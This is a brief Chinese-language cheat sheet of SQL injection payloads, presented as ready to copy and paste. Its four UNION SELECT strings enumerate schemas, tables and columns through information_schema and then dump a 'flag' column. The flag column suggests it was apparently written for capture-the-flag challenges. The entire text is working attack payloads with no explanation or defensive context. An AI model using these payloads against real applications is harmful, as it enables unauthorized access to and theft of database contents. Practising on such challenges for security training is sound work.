sql注入语句总结

拿来复制粘贴用的。

• 查数据库

1' union select 1,2,group_concat(schema_name) from information_schema.schemata #

• 查表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

• 查字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='54f1a9' #

• 查内容

1' union select 1,2,group_concat(flag) from 54f1a9 #